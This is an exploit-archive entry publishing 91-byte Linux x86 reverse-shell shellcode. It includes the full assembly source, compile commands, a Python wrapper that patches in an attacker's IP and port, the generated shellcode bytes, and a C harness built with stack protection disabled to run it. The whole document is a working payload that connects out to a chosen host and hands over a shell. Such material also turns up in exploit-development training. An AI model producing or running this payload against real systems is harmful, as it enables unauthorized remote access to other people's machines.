Linux/x86 - Reverse Shell Shellcode (91 Bytes) + Python Wrapper

2019-05-03T00:00:00
ID 1337DAY-ID-32652
Type zdt
Reporter Dave Sully
Modified 2019-05-03T00:00:00

Description

Exploit for linux/x86 platform in category shellcode

                                        
                                            # Exploit Title: Linux/x86 - Reverse Shell Shellcode (91 Bytes) + Python Wrapper
# Exploit Author: Dave Sully    
# Vendor Homepage: 
# Software Link: NA
# Version: NA
# Tested on: Ubuntu 16.04
# CVE : NA
 
#######################################################################
#######################################################################
 
# This is the raw assembly 
 
#######################################################################
#######################################################################
 
; Filename: reverse_shell.nasm
; Author:  Dave Sully
; Website:  http://suls.co.uk
; Purpose: Reverse shell in x86 assembly 
 
global _start           
 
section .text
_start:
 
    ; Clear everthing we are using 
    xor eax, eax 
    xor ebx, ebx 
    xor ecx, ecx 
    xor edx, edx 
    xor esi, esi
    xor edi, edi
 
    ; Define structure for socket 
    ; push 0x0100007f ; Push IP to stack in reverse byte order ; need to revist the null bytes here  (127.0.0.1)
    ; We have a issue here in that the ip address 127.0.0.1 = 0x0100007f in hex which contains null bytes 
    ; Easiest way around this is to XOR the value with 0xffffffff
    mov edi, 0xfeffff80 ; xor of 0x0100007f and 0xffffffff
    xor edi, 0xffffffff
    push edi
    push word 0xb315 ; Push 5555 to the stack in reverse byte order 5555 in hex = 0x15b3 
    push word 0x2 ; push 2  to the stack (AF-INET) 
 
    ; Create socket 
    ; s = socket(AF_INET, SOCK_STREAM, 0)
    mov ax, 0x167 ; Syscall 359 (socket)
    mov bl, 0x2 ; AF-INET (2) 
    mov cl, 0x1 ; Sock stream (1) 
    ; dl should already be zero 
    int 0x80 ; call system interupt to create socket 
    xchg esi, eax ; socket file descriptor now stored in esi 
 
    ; Connect socket 
    ; connect(s, (struct sockaddr *)&addr, sizeof(addr));
    mov ax, 0x16a ; Syscall 362 connect 
    mov ebx, esi ; Move socket file descriptor into ebx 
    mov ecx, esp ; Point ecx to the top of the stack which has our address structure on it 
    mov dl, 0x10 ; Size of structure (16)
    int 0x80 ; call system interupt to create connect 
 
    ; Dup input output and error file descriptors 
    ; dup2(s, 0); // Dup2 sycall = 63  
    xor eax, eax ; Clear eax 
    mov ebx, esi ; move socket id to ebx 
    xor ecx, ecx ; Clear ecx 
    mov cl, 0x2 ; set ecx to 2 
loop:
    mov al, 0x3f ; syscall 63 
    int 0x80 ; call dup 2 
    dec ecx  ; decrease ecx by 1 
    jns loop ; jump if not signed back to loop, this should cycle 2,1,0
 
    ; Execute Shell 
    ; execve("/bin/sh",0 ,0); // Execve syscall = 11
    ; (const char *filename, char *const argv[], char *const envp[]);
    xor eax,eax ; null eax 
    mov al, 0xb ; syscall 11 into eax
    xor ebx, ebx ; zero ebx 
    push ebx ; push a null string to the stack to terminate our string 
    push 0x68732f2f ; hs//
    push 0x6e69622f ; nib/
    mov ebx, esp ; point ebx at the stack
    xor ecx, ecx ; clear ecx and edx as they are used in the syscall 
    xor edx, edx
    int 0x80 
 
section .data
 
#######################################################################
#######################################################################
 
### Compile and link as follows 
 
nasm -f elf32 -o reverse_shell.o reverse_shell.nasm 
gcc -o reverse_shell reverse_shell.o 
 
 
#######################################################################
#######################################################################
 
### To configure IP and port use the following python3 wrapper script 
 
#######################################################################
#######################################################################
 
 
#!/usr/bin/env python3 
# File: wrapper.py
# Author: Dave Sully 
# Reverse shell wrapper in python3 
# Usage: python3 wrapper.py 192.168.1.1 5000
 
import argparse
import socket 
from struct import unpack
 
print("\n*****************************************")
print("***** Reverse shell wrapper script ******")
print("*****************************************")
 
# Grab command line args (ip and port) 
parser = argparse.ArgumentParser() 
parser.add_argument("ip")
parser.add_argument("port")
args = parser.parse_args() 
# check port is in a valid range 
if ((int(args.port) > 65535) or (int(args.port) < 256)):
    print("\nPort number must be between 256 and 65535\n")
    exit()
 
# Xor Function 
def xor_strings(str1,str2):
    result =  int(str1,16) ^ int(str2,16)
    return '{:x}'.format(result)
 
# Process IP address
print("\nIP address: "+ args.ip)
# Convert IP to Hex 
hexip = socket.inet_aton(args.ip).hex() 
print("Hex IP Address: "+hexip)
# Reverse the hex String 
revhexip = hexip[6:8]
revhexip = revhexip + hexip[4:6]
revhexip = revhexip + hexip[2:4]
revhexip = revhexip + hexip[0:2]
# Xor the reversed hex address as the shellcode XORs this address to avoid null bytes 
xored_ip = xor_strings(revhexip,"FFFFFFFF")
print("XORed reverse hex IP Address: "+ xored_ip) 
 
# Process Port
print("\nPort: "+args.port)
# Convert Port to hex 
hexport = hex(int(args.port)).replace('0x','')
if len(hexport)<4:
    hexport = '0'+hexport
print("Hex Port: "+hexport)
revhexport = hexport[2:4]+ hexport[0:2] 
print("Reverse Hex Port: "+revhexport)
 
# Check for null bytes 
if (xored_ip[0:2]=="00" or 
    xored_ip[2:4]=="00" or 
    xored_ip[4:6]=="00" or 
    xored_ip[6:8]=="00" or 
    revhexport[0:2]=="00" or 
    revhexport[2:4]=="00"):
    print("\n** WARNING ** Null Bytes detected in Xored IP or port shellcode,")
    print("shellcode may not work !\n")
 
# Construct Shellcode 
shellcode= \
"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x31\\xf6\\x31\\xff\\xbf" + \
    "\\x"+ xored_ip[6:8] + \
    "\\x"+ xored_ip[4:6] + \
    "\\x"+ xored_ip[2:4] + \
    "\\x"+ xored_ip[0:2] + \
"\\x83\\xf7\\xff\\x57\\x66\\x68" + \
    "\\x"+ revhexport[2:4] + \
    "\\x"+ revhexport[0:2] + \
"\\x66\\x6a\\x02\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x96\\x66" + \
"\\xb8\\x6a\\x01\\x89\\xf3\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x31\\xc0\\x89\\xf3" + \
"\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc0\\xb0\\x0b" + \
"\\x31\\xdb\\x53\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3" + \
"\\x31\\xc9\\x31\\xd2\\xcd\\x80"
# Output Shellcode 
print("\nShellcode (Length 91 Bytes): \n")
print(shellcode+"\n")
 
#######################################################################
#######################################################################
 
# Example output
 
*****************************************
***** Reverse shell wrapper script ******
*****************************************
 
IP address: 127.0.0.1
Hex IP Address: 7f000001
XORed reverse hex IP Address: feffff80
 
Port: 8080
Hex Port: 1f90
Reverse Hex Port: 901f
 
Shellcode (Length 91 Bytes): 
 
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x31\xff\xbf\x80\xff\xff\xfe\x83\xf7\xff\x57\x66\x68\x1f\x90\x66\x6a\x02\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x96\x66\xb8\x6a\x01\x89\xf3\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80
 
 
#######################################################################
#######################################################################
 
# To compile shellcode from the wrapper script use the following C program 
# Replacing the shellcode with the wrapper script shellcode output
 
#######################################################################
#######################################################################
 
// Filename: shellcode.c
#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x31\xff\xbf\x80\xff\xff\xfe\x83\xf7\xff\x57\x66\x68\x1f\x90\x66\x6a\x02\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x96\x66\xb8\x6a\x01\x89\xf3\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";
 
main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}
 
#######################################################################
#######################################################################
 
# Compile with 
 
gcc -fno-stack-protector -z execstack -o shellcode shellcode.c

#  0day.today [2019-05-04]  #